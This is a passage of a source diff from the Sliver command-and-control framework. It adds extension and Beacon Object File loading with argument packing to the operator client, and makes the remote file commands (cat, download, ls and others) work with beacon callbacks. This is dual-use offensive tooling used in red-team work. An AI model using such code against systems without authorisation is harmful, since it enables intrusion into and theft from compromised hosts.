+			Request: con.ActiveTarget.Request(ctx),
+		})
+		if err != nil {
+			con.PrintErrorf("Error: %s\n", err.Error())
+			return err
+		}
+		if extList.Response != nil && extList.Response.Err != "" {
+			return errors.New(extList.Response.Err)
+		}
+		extensionList = extList.Names
+	} else {
+		extensionList = session.Extensions
+	}
+	depLoaded := false
+	for _, extName := range extensionList {
+		if !depLoaded && extName == ext.DependsOn {
+			depLoaded = true
+		}
+		if ext.Name == extName {
+			return nil
+		}
+	}
+	// Extension not found, let's load it
+	if filepath.Ext(binPath) == ".o" {
+		// BOFs are not loaded by the DLL loader, but we make sure the loader itself is loaded
+		// Auto load the coff loader if we have it
+		if !depLoaded {
+			if errLoad := loadDep(session, con, ctx, ext.DependsOn); errLoad != nil {
+				return errLoad
+			}
+		}
+		return nil
+	}
+	binData, err := ioutil.ReadFile(binPath)
+	if err != nil {
+		return err
+	}
+	if errRegister := registerExtension(con, ext, binData, session, ctx); errRegister != nil {
+		return errRegister
+	}
+	// Update session info
+	if filepath.Ext(binPath) != ".o" {
+		// Don't update session for BOFs, we don't cache them
+		// on the implant side (yet)
+		// update the Session info
+		_, err = con.Rpc.UpdateSession(context.Background(), &clientpb.UpdateSession{
+			Extensions: extensionList,
+			SessionID:  session.ID,
+		})
+		if err != nil {
+			con.PrintErrorf("Error: %s\n", err.Error())
+			return err
+		}
+	}
+	return nil
+}
+
+func registerExtension(con *console.SliverConsoleClient, ext *extensionCommand, binData []byte, session *clientpb.Session, ctx *grumble.Context) error {
+	registerResp, err := con.Rpc.RegisterExtension(context.Background(), &sliverpb.RegisterExtensionReq{
+		Name:    ext.Name,
+		Data:    binData,
+		OS:      session.OS,
+		Init:    ext.Init,
+		Request: con.ActiveTarget.Request(ctx),
+	})
+	if err != nil {
+		return err
+	}
+	if registerResp.Response != nil && registerResp.Response.Err != "" {
+		return errors.New(registerResp.Response.Err)
+	}
+	return nil
+}
+
+func loadDep(session *clientpb.Session, con *console.SliverConsoleClient, ctx *grumble.Context, depName string) error {
+	depExt, f := commandMap[depName]
+	if f {
+		depBinPath, err := depExt.getFileForTarget(depExt.Name, session.OS, session.Arch)
+		if err != nil {
+			return err
+		}
+		depBinData, err := ioutil.ReadFile(depBinPath)
+		if err != nil {
+			return err
+		}
+		return registerExtension(con, &depExt, depBinData, session, ctx)
+	}
+	return fmt.Errorf("missing dependency %s", depName)
+}
+
+func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	var (
+		callExtension *sliverpb.CallExtension
+		err           error
+		extensionArgs []byte
+		extName       string
+		entryPoint    string
+	)
+	session := con.ActiveTarget.GetSessionInteractive()
+	if session == nil {
+		return
+	}
+
 	ext, ok := commandMap[ctx.Command.Name]
 	if !ok {
 		con.PrintErrorf("No extension command found for `%s` command\n", ctx.Command.Name)
 		return
 	}
 
-	binPath, err := ext.getFileForTarget(ctx.Command.Name, session.GetOS(), session.GetArch())
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
+	if err = loadExtension(ctx, session, con, &ext); err != nil {
 		return
 	}
 
-	c, err := ext.getCommandFromName(ctx.Command.Name)
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
-
-	var args string
-	if len(c.DefaultArgs) != 0 {
-		args = c.DefaultArgs
-	}
-	if len(ctx.Args.StringList("arguments")) > 0 {
-		args = strings.Join(ctx.Args.StringList("arguments"), " ")
-	}
-
-	entryPoint := c.Entrypoint
-	processName := ctx.Flags.String("process")
-	if processName == "" {
-		processName, err = c.getDefaultProcess(session.GetOS())
-		if err != nil {
-			con.PrintErrorf("%s\n", err)
-			return
-		}
-	}
-	isDLL := false
-	if filepath.Ext(binPath) == ".dll" {
-		isDLL = true
-	}
-	binData, err := ioutil.ReadFile(binPath)
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
 	var outFilePath *os.File
 	if ctx.Flags.Bool("save") {
 		outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
@@ -249,85 +314,142 @@ func runExtensionCommand(ctx *grumble.Context, con *console.SliverConsoleClient)
 			return
 		}
 	}
-	if c.IsAssembly {
-		ctrl := make(chan bool)
-		msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, args)
-		con.SpinUntil(msg, ctrl)
-		executeAssemblyResp, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
-			Request:   con.ActiveSession.Request(ctx),
-			IsDLL:     isDLL,
-			Process:   processName,
-			Arguments: args,
-			Assembly:  binData,
-			Arch:      ctx.Flags.String("arch"),
-			Method:    ctx.Flags.String("method"),
-			ClassName: ctx.Flags.String("class"),
-			AppDomain: ctx.Flags.String("app-domain"),
-		})
-		ctrl <- true
-		<-ctrl
+	binPath, err := ext.getFileForTarget(ctx.Command.Name, session.OS, session.Arch)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+
+	isBOF := filepath.Ext(binPath) == ".o"
+
+	// BOFs (Beacon Object Files) are a specific kind of extensions
+	// that require another extension (a COFF loader) to be present.
+	// BOFs also have strongly typed arguments that need to be parsed in the proper way.
+	// This block will pack both the BOF data and its arguments into a single buffer that
+	// the loader will extract and load.
+	if isBOF {
+		// Beacon Object File -- requires a COFF loader
+		extensionArgs, err = getBOFArgs(ctx, binPath, ext)
 		if err != nil {
-			con.PrintErrorf("%s\n", err)
+			con.PrintErrorf("Error: %s\n", err)
 			return
 		}
-		con.PrintInfof("Output:\n%s", string(executeAssemblyResp.GetOutput()))
-		if outFilePath != nil {
-			outFilePath.Write(executeAssemblyResp.GetOutput())
-			con.PrintInfof("Output saved to %s\n", outFilePath.Name())
-		}
-	} else if c.IsReflective {
-		ctrl := make(chan bool)
-		msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, args)
-		con.SpinUntil(msg, ctrl)
-		spawnDllResp, err := con.Rpc.SpawnDll(context.Background(), &sliverpb.InvokeSpawnDllReq{
-			Request:     con.ActiveSession.Request(ctx),
-			Args:        strings.Trim(args, " "),
-			Data:        binData,
-			ProcessName: processName,
-			EntryPoint:  c.Entrypoint,
-			Kill:        true,
-		})
-		ctrl <- true
-		<-ctrl
-
-		if err != nil {
-			con.PrintErrorf("%s\n", err)
-			return
-		}
-
-		con.PrintInfof("Output:\n%s", spawnDllResp.GetResult())
-		if outFilePath != nil {
-			outFilePath.Write([]byte(spawnDllResp.GetResult()))
-			con.PrintInfof("Output saved to %s\n", outFilePath.Name())
-		}
+		extName = ext.DependsOn
+		entryPoint = commandMap[extName].Entrypoint // should exist at this point
 	} else {
-		ctrl := make(chan bool)
-		msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, args)
-		con.SpinUntil(msg, ctrl)
-		sideloadResp, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
-			Request:     con.ActiveSession.Request(ctx),
-			Args:        args,
-			Data:        binData,
-			EntryPoint:  entryPoint,
-			ProcessName: processName,
-			Kill:        true,
-		})
-		ctrl <- true
-		<-ctrl
-
-		if err != nil {
-			con.PrintErrorf("%s\n", err)
-			return
-		}
-
-		con.PrintInfof("Output:\n%s", sideloadResp.GetResult())
+		// Regular DLL
+		extArgs := strings.Join(ctx.Args.StringList("arguments"), " ")
+		extensionArgs = []byte(extArgs)
+		extName = ext.Name
+		entryPoint = ext.Entrypoint
+	}
+	ctrl := make(chan bool)
+	msg := fmt.Sprintf("Executing %s ...", ctx.Command.Name)
+	con.SpinUntil(msg, ctrl)
+	callExtension, err = con.Rpc.CallExtension(context.Background(), &sliverpb.CallExtensionReq{
+		Name:    extName,
+		Export:  entryPoint,
+		Args:    extensionArgs,
+		Request: con.ActiveTarget.Request(ctx),
+	})
+	ctrl <- true
+	<-ctrl
+	if err != nil {
+		con.PrintErrorf("Error: %s\n", err.Error())
+		return
+	}
+	if callExtension.Response != nil && callExtension.Response.Err != "" {
+		con.PrintErrorf("Error: %s\n", callExtension.Response.Err)
+		return
+	}
+	con.PrintInfof("Successfully executed %s\n", extName)
+	if len(callExtension.Output) > 0 {
+		con.PrintInfof("Got output:\n%s", string(callExtension.Output))
 		if outFilePath != nil {
-			outFilePath.Write([]byte(sideloadResp.GetResult()))
+			outFilePath.Write(callExtension.Output)
 			con.PrintInfof("Output saved to %s\n", outFilePath.Name())
 		}
 	}
 }
 
+func getBOFArgs(ctx *grumble.Context, binPath string, ext extensionCommand) ([]byte, error) {
+	var extensionArgs []byte
+	binData, err := ioutil.ReadFile(binPath)
+	if err != nil {
+		return nil, err
+	}
+	argsBuffer := BOFArgsBuffer{
+		Buffer: new(bytes.Buffer),
+	}
+	// Parse BOF arguments from grumble
+	for _, arg := range ext.Arguments {
+		switch arg.Type {
+		case "int":
+			val := ctx.Args.Int(arg.Name)
+			err = argsBuffer.AddInt(uint32(val))
+			if err != nil {
+				return nil, err
+			}
+		case "short":
+			val := ctx.Args.Int(arg.Name)
+			err = argsBuffer.AddShort(uint16(val))
+			if err != nil {
+				return nil, err
+			}
+		case "string":
+			val := ctx.Args.String(arg.Name)
+			err = argsBuffer.AddString(val)
+			if err != nil {
+				return nil, err
+			}
+		case "wstring":
+			val := ctx.Args.String(arg.Name)
+			err = argsBuffer.AddWString(val)
+			if err != nil {
+				return nil, err
+			}
+		// Adding support for filepaths so we can
+		// send binary data like shellcodes to BOFs
+		case "file":
+			val := ctx.Args.String(arg.Name)
+			data, err := ioutil.ReadFile(val)
+			if err != nil {
+				return nil, err
+			}
+			err = argsBuffer.AddData(data)
+			if err != nil {
+				return nil, err
+			}
+		}
+	}
+	parsedArgs, err := argsBuffer.GetBuffer()
+	if err != nil {
+		return nil, err
+	}
+	// Now build the extension's argument buffer
+	extensionArgsBuffer := BOFArgsBuffer{
+		Buffer: new(bytes.Buffer),
+	}
+	err = extensionArgsBuffer.AddString(ext.Entrypoint)
+	if err != nil {
+		return nil, err
+	}
+	err = extensionArgsBuffer.AddData(binData)
+	if err != nil {
+		return nil, err
+	}
+	err = extensionArgsBuffer.AddData(parsedArgs)
+	if err != nil {
+		return nil, err
+	}
+	extensionArgs, err = extensionArgsBuffer.GetBuffer()
+	if err != nil {
+		return nil, err
+	}
+	return extensionArgs, nil
+
+}
+
 func cmdExists(name string, app *grumble.App) bool {
 	for _, c := range app.Commands().All() {
 		if name == c.Name {
@@ -338,5 +460,66 @@ func cmdExists(name string, app *grumble.App) bool {
 }
 
 func init() {
-	commandMap = make(map[string]extension)
+	commandMap = make(map[string]extensionCommand)
+}
+
+// BOF Specific code
+
+type BOFArgsBuffer struct {
+	Buffer *bytes.Buffer
+}
+
+func (b *BOFArgsBuffer) AddData(d []byte) error {
+	dataLen := uint32(len(d))
+	err := binary.Write(b.Buffer, binary.LittleEndian, &dataLen)
+	if err != nil {
+		return err
+	}
+	return binary.Write(b.Buffer, binary.LittleEndian, &d)
+}
+
+func (b *BOFArgsBuffer) AddShort(d uint16) error {
+	return binary.Write(b.Buffer, binary.LittleEndian, &d)
+}
+
+func (b *BOFArgsBuffer) AddInt(d uint32) error {
+	return binary.Write(b.Buffer, binary.LittleEndian, &d)
+}
+
+func (b *BOFArgsBuffer) AddString(d string) error {
+	stringLen := uint32(len(d)) + 1
+	err := binary.Write(b.Buffer, binary.LittleEndian, &stringLen)
+	if err != nil {
+		return err
+	}
+	dBytes := append([]byte(d), 0x00)
+	return binary.Write(b.Buffer, binary.LittleEndian, dBytes)
+}
+
+func (b *BOFArgsBuffer) AddWString(d string) error {
+	encoder := unicode.UTF16(unicode.LittleEndian, unicode.IgnoreBOM).NewEncoder()
+	strBytes := append([]byte(d), 0x00)
+	utf16Data, err := encoder.Bytes(strBytes)
+	if err != nil {
+		return err
+	}
+	stringLen := uint32(len(utf16Data))
+	err = binary.Write(b.Buffer, binary.LittleEndian, &stringLen)
+	if err != nil {
+		return err
+	}
+	return binary.Write(b.Buffer, binary.LittleEndian, utf16Data)
+}
+
+func (b *BOFArgsBuffer) GetBuffer() ([]byte, error) {
+	outBuffer := new(bytes.Buffer)
+	err := binary.Write(outBuffer, binary.LittleEndian, uint32(b.Buffer.Len()))
+	if err != nil {
+		return nil, err
+	}
+	err = binary.Write(outBuffer, binary.LittleEndian, b.Buffer.Bytes())
+	if err != nil {
+		return nil, err
+	}
+	return outBuffer.Bytes(), nil
 }

client/command/filesystem/cat.go

@@ -20,6 +20,7 @@ package filesystem
 
 import (
 	"context"
+	"encoding/hex"
 	"fmt"
 	"os"
 
@@ -27,16 +28,18 @@ import (
 	"github.com/alecthomas/chroma/lexers"
 	"github.com/alecthomas/chroma/styles"
 	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
 	"github.com/bishopfox/sliver/util/encoders"
+	"google.golang.org/protobuf/proto"
 
 	"github.com/desertbit/grumble"
 )
 
 // CatCmd - Display the contents of a remote file
 func CatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveSession.GetInteractive()
-	if session == nil {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
 		return
 	}
 
@@ -47,13 +50,36 @@ func CatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	}
 
 	download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
-		Request: con.ActiveSession.Request(ctx),
+		Request: con.ActiveTarget.Request(ctx),
 		Path:    filePath,
 	})
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
 		return
 	}
+	if download.Response != nil && download.Response.Async {
+		con.AddBeaconCallback(download.Response.TaskID, func(task *clientpb.BeaconTask) {
+			con.PrintInfof("Task completed: %s\n\n", task.ID)
+			err = proto.Unmarshal(task.Response, download)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+				return
+			}
+			PrintCat(download, ctx, con)
+		})
+		con.PrintAsyncResponse(download.Response)
+	} else {
+		PrintCat(download, ctx, con)
+	}
+}
+
+// PrintCat - Print the download to stdout
+func PrintCat(download *sliverpb.Download, ctx *grumble.Context, con *console.SliverConsoleClient) {
+	var err error
+	if download.Response != nil && download.Response.Err != "" {
+		con.PrintErrorf("%s\n", download.Response.Err)
+		return
+	}
 	if download.Encoder == "gzip" {
 		download.Data, err = new(encoders.Gzip).Decode(download.Data)
 		if err != nil {
@@ -66,16 +92,12 @@ func CatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 			con.Println(string(download.Data))
 		}
 	} else {
-		con.Println(string(download.Data))
+		if ctx.Flags.Bool("hex") {
+			con.Println(hex.Dump(download.Data))
+		} else {
+			con.Println(string(download.Data))
+		}
 	}
-	// if ctx.Flags.Bool("loot") && 0 < len(download.Data) {
-	// 	err = AddLootFile(rpc, fmt.Sprintf("[cat] %s", filepath.Base(filePath)), filePath, download.Data, false)
-	// 	if err != nil {
-	// 		con.PrintErrorf("Failed to save output as loot: %s", err)
-	// 	} else {
-	// 		fmt.Printf(clearln + Info + "Output saved as loot\n")
-	// 	}
-	// }
 }
 
 func colorize(f *sliverpb.Download) error {

client/command/filesystem/cd.go

@@ -22,26 +22,41 @@ import (
 	"context"
 
 	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"google.golang.org/protobuf/proto"
 
 	"github.com/desertbit/grumble"
 )
 
 // CdCmd - Change directory on the remote system
 func CdCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveSession.GetInteractive()
-	if session == nil {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
 		return
 	}
 	filePath := ctx.Args.String("path")
 
 	pwd, err := con.Rpc.Cd(context.Background(), &sliverpb.CdReq{
-		Request: con.ActiveSession.Request(ctx),
+		Request: con.ActiveTarget.Request(ctx),
 		Path:    filePath,
 	})
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
+		return
+	}
+	if pwd.Response != nil && pwd.Response.Async {
+		con.AddBeaconCallback(pwd.Response.TaskID, func(task *clientpb.BeaconTask) {
+			con.PrintInfof("Task completed: %s\n\n", task.ID)
+			err = proto.Unmarshal(task.Response, pwd)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+				return
+			}
+			PrintPwd(pwd, con)
+		})
+		con.PrintAsyncResponse(pwd.Response)
 	} else {
-		con.PrintInfof("%s\n", pwd.Path)
+		PrintPwd(pwd, con)
 	}
 }

client/command/filesystem/download.go

@@ -25,18 +25,20 @@ import (
 	"path"
 	"path/filepath"
 
+	"github.com/AlecAivazis/survey/v2"
 	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
 	"github.com/bishopfox/sliver/util/encoders"
-	"gopkg.in/AlecAivazis/survey.v1"
+	"google.golang.org/protobuf/proto"
 
 	"github.com/desertbit/grumble"
 )
 
 // DownloadCmd - Download a file from the remote system
 func DownloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveSession.GetInteractive()
-	if session == nil {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
 		return
 	}
 
@@ -55,19 +57,10 @@ func DownloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		dst = path.Join(dst, fileName)
 	}
 
-	if _, err := os.Stat(dst); err == nil {
-		overwrite := false
-		prompt := &survey.Confirm{Message: "Overwrite local file?"}
-		survey.AskOne(prompt, &overwrite, nil)
-		if !overwrite {
-			return
-		}
-	}
-
 	ctrl := make(chan bool)
 	con.SpinUntil(fmt.Sprintf("%s -> %s", fileName, dst), ctrl)
 	download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
-		Request: con.ActiveSession.Request(ctx),
+		Request: con.ActiveTarget.Request(ctx),
 		Path:    remotePath,
 	})
 	ctrl <- true
@@ -76,7 +69,51 @@ func DownloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		con.PrintErrorf("%s\n", err)
 		return
 	}
+	if download.Response != nil && download.Response.Async {
+		con.AddBeaconCallback(download.Response.TaskID, func(task *clientpb.BeaconTask) {
+			con.PrintInfof("Task completed: %s\n\n", task.ID)
+			err = proto.Unmarshal(task.Response, download)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+				return
+			}
+			PrintDownload(download, ctx, con)
+		})
+		con.PrintAsyncResponse(download.Response)
+	} else {
+		PrintDownload(download, ctx, con)
+	}
+}
 
+// PrintDownload - Print the download response, and save file to disk
+func PrintDownload(download *sliverpb.Download, ctx *grumble.Context, con *console.SliverConsoleClient) {
+	if download.Response != nil && download.Response.Err != "" {
+		con.PrintErrorf("%s\n", download.Response.Err)
+		return
+	}
+
+	remotePath := ctx.Args.String("remote-path")
+	localPath := ctx.Args.String("local-path")
+
+	src := remotePath
+	fileName := filepath.Base(src)
+	dst, _ := filepath.Abs(localPath)
+	fi, err := os.Stat(dst)
+	if err != nil && !os.IsNotExist(err) {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	if err == nil && fi.IsDir() {
+		dst = path.Join(dst, fileName)
+	}
+	if _, err := os.Stat(dst); err == nil {
+		overwrite := false
+		prompt := &survey.Confirm{Message: "Overwrite local file?"}
+		survey.AskOne(prompt, &overwrite, nil)
+		if !overwrite {
+			return
+		}
+	}
 	if download.Encoder == "gzip" {
 		download.Data, err = new(encoders.Gzip).Decode(download.Data)
 		if err != nil {
@@ -96,13 +133,4 @@ func DownloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	} else {
 		con.PrintInfof("Wrote %d bytes to %s\n", n, dstFile.Name())
 	}
-
-	// if ctx.Flags.Bool("loot") && 0 < len(download.Data) {
-	// 	err = AddLootFile(rpc, fmt.Sprintf("[download] %s", filepath.Base(remotePath)), remotePath, download.Data, false)
-	// 	if err != nil {
-	// 		con.PrintErrorf("Failed to save output as loot: %s", err)
-	// 	} else {
-	// 		fmt.Printf(Info + "Output saved as loot\n")
-	// 	}
-	// }
 }

client/command/filesystem/ls.go

@@ -19,51 +19,184 @@ package filesystem
 */
 
 import (
+	"bytes"
 	"context"
 	"fmt"
-	"io"
+	"path/filepath"
+	"sort"
 	"strings"
 	"text/tabwriter"
+	"time"
 
 	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
 	"github.com/bishopfox/sliver/util"
+	"google.golang.org/protobuf/proto"
 
 	"github.com/desertbit/grumble"
 )
 
 // LsCmd - List the contents of a remote directory
 func LsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveSession.GetInteractive()
-	if session == nil {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
 		return
 	}
 
 	remotePath := ctx.Args.String("path")
+	filter := ""
+
+	/*
+		Check to see if the remote path is a filter or contains a filter.
+		If the path passes the test to be a filter, then it is a filter
+		because paths are not valid filters.
+	*/
+	if remotePath != "." {
+
+		// Check if the path contains a filter
+		// Test on a standardized version of the path (change any \ to /)
+		testPath := strings.Replace(remotePath, "\\", "/", -1)
+		/*
+			Cannot use the path or filepath libraries because the OS
+			of the client does not necessarily match the OS of the
+			implant
+		*/
+		lastSeparatorOccurrence := strings.LastIndex(testPath, "/")
+
+		if lastSeparatorOccurrence == -1 {
+			// Then this is only a filter
+			filter = remotePath
+			remotePath = "."
+		} else {
+			// Then we need to test for a filter on the end of the string
+			// The indices should be the same because we did not change the length of the string
+			baseDir := remotePath[:lastSeparatorOccurrence]
+			potentialFilter := remotePath[lastSeparatorOccurrence+1:]
+
+			_, err := filepath.Match(potentialFilter, "")
+
+			if err == nil {
+				// Then we have a filter on the end of the path
+				remotePath = baseDir
+				filter = potentialFilter
+			}
+		}
+	}
 
 	ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
-		Request: con.ActiveSession.Request(ctx),
+		Request: con.ActiveTarget.Request(ctx),
 		Path:    remotePath,
 	})
 	if err != nil {
 		con.PrintWarnf("%s\n", err)
+		return
+	}
+	if ls.Response != nil && ls.Response.Async {
+		con.AddBeaconCallback(ls.Response.TaskID, func(task *clientpb.BeaconTask) {
+			con.PrintInfof("Task completed: %s\n\n", task.ID)
+			err = proto.Unmarshal(task.Response, ls)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+				return
+			}
+			PrintLs(ls, ctx.Flags, filter, con)
+		})
+		con.PrintAsyncResponse(ls.Response)
 	} else {
-		PrintLs(con.App.Stdout(), ls)
+		PrintLs(ls, ctx.Flags, filter, con)
 	}
 }
 
 // PrintLs - Display an sliverpb.Ls object
-func PrintLs(stdout io.Writer, ls *sliverpb.Ls) {
-	fmt.Fprintf(stdout, "%s\n", ls.Path)
-	fmt.Fprintf(stdout, "%s\n", strings.Repeat("=", len(ls.Path)))
+func PrintLs(ls *sliverpb.Ls, flags grumble.FlagMap, filter string, con *console.SliverConsoleClient) {
+	if ls.Response != nil && ls.Response.Err != "" {
+		con.PrintErrorf("%s\n", ls.Response.Err)
+		return
+	}
 
-	table := tabwriter.NewWriter(stdout, 0, 2, 2, ' ', 0)
-	for _, fileInfo := range ls.Files {
-		if fileInfo.IsDir {
-			fmt.Fprintf(table, "%s\t<dir>\t\n", fileInfo.Name)
+	con.Printf("%s\n", ls.Path)
+	con.Printf("%s\n", strings.Repeat("=", len(ls.Path)))
+
+	outputBuf := bytes.NewBufferString("")
+	table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
+
+	// Extract the flags
+	reverseSort := flags.Bool("reverse")
+	sortByTime := flags.Bool("modified")
+	sortBySize := flags.Bool("size")
+
+	/*
+		By default, name sorting is case sensitive.  Upper case entries come before
+		lower case ones.  Instead, we will level the playing field and sort
+		regardless of case
+	*/
+	if reverseSort {
+		sort.SliceStable(ls.Files, func(i, j int) bool {
+			return strings.ToLower(ls.Files[i].Name) > strings.ToLower(ls.Files[j].Name)
+		})
+	} else {
+		sort.SliceStable(ls.Files, func(i, j int) bool {
+			return strings.ToLower(ls.Files[i].Name) < strings.ToLower(ls.Files[j].Name)
+		})
+	}
+
+	/*
+		After names are sorted properly, take care of the modified time if the
+		user wants to sort by time.  Doing this after sorting by name
+		will make the time sorted entries properly sorted by name if times are equal.
+	*/
+
+	if sortByTime {
+		if reverseSort {
+			sort.SliceStable(ls.Files, func(i, j int) bool {
+				return ls.Files[i].ModTime > ls.Files[j].ModTime
+			})
 		} else {
-			fmt.Fprintf(table, "%s\t%s\t\n", fileInfo.Name, util.ByteCountBinary(fileInfo.Size))
+			sort.SliceStable(ls.Files, func(i, j int) bool {
+				return ls.Files[i].ModTime < ls.Files[j].ModTime
+			})
+		}
+	} else if sortBySize {
+		if reverseSort {
+			sort.SliceStable(ls.Files, func(i, j int) bool {
+				return ls.Files[i].Size > ls.Files[j].Size
+			})
+		} else {
+			sort.SliceStable(ls.Files, func(i, j int) bool {
+				return ls.Files[i].Size < ls.Files[j].Size
+			})
+		}
+	}
+
+	for _, fileInfo := range ls.Files {
+		if filter != "" {
+			fileMatch, err := filepath.Match(filter, fileInfo.Name)
+
+			if err != nil {
+				/*
+					This should not happen because we checked the filter
+					before reaching out to the implant.
+				*/
+				con.PrintErrorf("%s is not a valid filter: %s\n", filter, err)
+				break
+			}
+
+			if !fileMatch {
+				continue
+			}
+		}
+
+		modTime := time.Unix(fileInfo.ModTime, 0)
+		implantLocation := time.FixedZone(ls.Timezone, int(ls.TimezoneOffset))
+		modTime = modTime.In(implantLocation)
+
+		if fileInfo.IsDir {
+			fmt.Fprintf(table, "%s\t%s\t<dir>\t%s\n", fileInfo.Mode, fileInfo.Name, modTime.Format(time.RubyDate))
+		} else {
+			fmt.Fprintf(table, "%s\t%s\t%s\t%s\n", fileInfo.Mode, fileInfo.Name, util.ByteCountBinary(fileInfo.Size), modTime.Format(time.RubyDate))
 		}
 	}
 	table.Flush()
+	con.Printf("%s\n", outputBuf.String())
 }

client/command/filesystem/mkdir.go

@@ -22,15 +22,17 @@ import (
 	"context"
 
 	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"google.golang.org/protobuf/proto"
 
 	"github.com/desertbit/grumble"
 )
 
 // MkdirCmd - Make a remote directory
 func MkdirCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveSession.GetInteractive()
-	if session == nil {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
 		return
 	}
 
@@ -42,12 +44,34 @@ func MkdirCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	}
 
 	mkdir, err := con.Rpc.Mkdir(context.Background(), &sliverpb.MkdirReq{
-		Request: con.ActiveSession.Request(ctx),
+		Request: con.ActiveTarget.Request(ctx),
 		Path:    filePath,
 	})
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
+		return
+	}
+	if mkdir.Response != nil && mkdir.Response.Async {
+		con.AddBeaconCallback(mkdir.Response.TaskID, func(task *clientpb.BeaconTask) {
+			con.PrintInfof("Task completed: %s\n\n", task.ID)
+			err = proto.Unmarshal(task.Response, mkdir)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+				return
+			}
+			PrintMkdir(mkdir, con)
+		})
+		con.PrintAsyncResponse(mkdir.Response)
 	} else {
-		con.PrintInfof("%s\n", mkdir.Path)
+		PrintMkdir(mkdir, con)
 	}
 }
+
+// PrintMkdir - Print make directory
+func PrintMkdir(mkdir *sliverpb.Mkdir, con *console.SliverConsoleClient) {
+	if mkdir.Response != nil && mkdir.Response.Err != "" {
+		con.PrintErrorf("%s\n", mkdir.Response.Err)
+		return
+	}
+	con.PrintInfof("%s\n", mkdir.Path)
+}

client/command/filesystem/pwd.go

@@ -22,24 +22,47 @@ import (
 	"context"
 
 	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"google.golang.org/protobuf/proto"
 
 	"github.com/desertbit/grumble"
 )
 
 // PwdCmd - Print the remote working directory
 func PwdCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveSession.GetInteractive()
-	if session == nil {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
 		return
 	}
-
 	pwd, err := con.Rpc.Pwd(context.Background(), &sliverpb.PwdReq{
-		Request: con.ActiveSession.Request(ctx),
+		Request: con.ActiveTarget.Request(ctx),
 	})
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
+		return
+	}
+	if pwd.Response != nil && pwd.Response.Async {
+		con.AddBeaconCallback(pwd.Response.TaskID, func(task *clientpb.BeaconTask) {
+			con.PrintInfof("Task completed: %s\n\n", task.ID)
+			err = proto.Unmarshal(task.Response, pwd)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+				return
+			}
+			PrintPwd(pwd, con)
+		})
+		con.PrintAsyncResponse(pwd.Response)
 	} else {
-		con.PrintInfof("%s\n", pwd.Path)
+		PrintPwd(pwd, con)
 	}
 }
+
+// PrintPwd - Print the remote working directory
+func PrintPwd(pwd *sliverpb.Pwd, con *console.SliverConsoleClient) {
+	if pwd.Response != nil && pwd.Response.Err != "" {
+		con.PrintErrorf("%s\n", pwd.Response.Err)
+		return
+	}
+	con.PrintInfof("%s\n", pwd.Path)
+}

client/command/filesystem/rm.go

@@ -22,15 +22,17 @@ import (
 	"context"
 
 	"github.com/bishopfox/sliver/client/console"
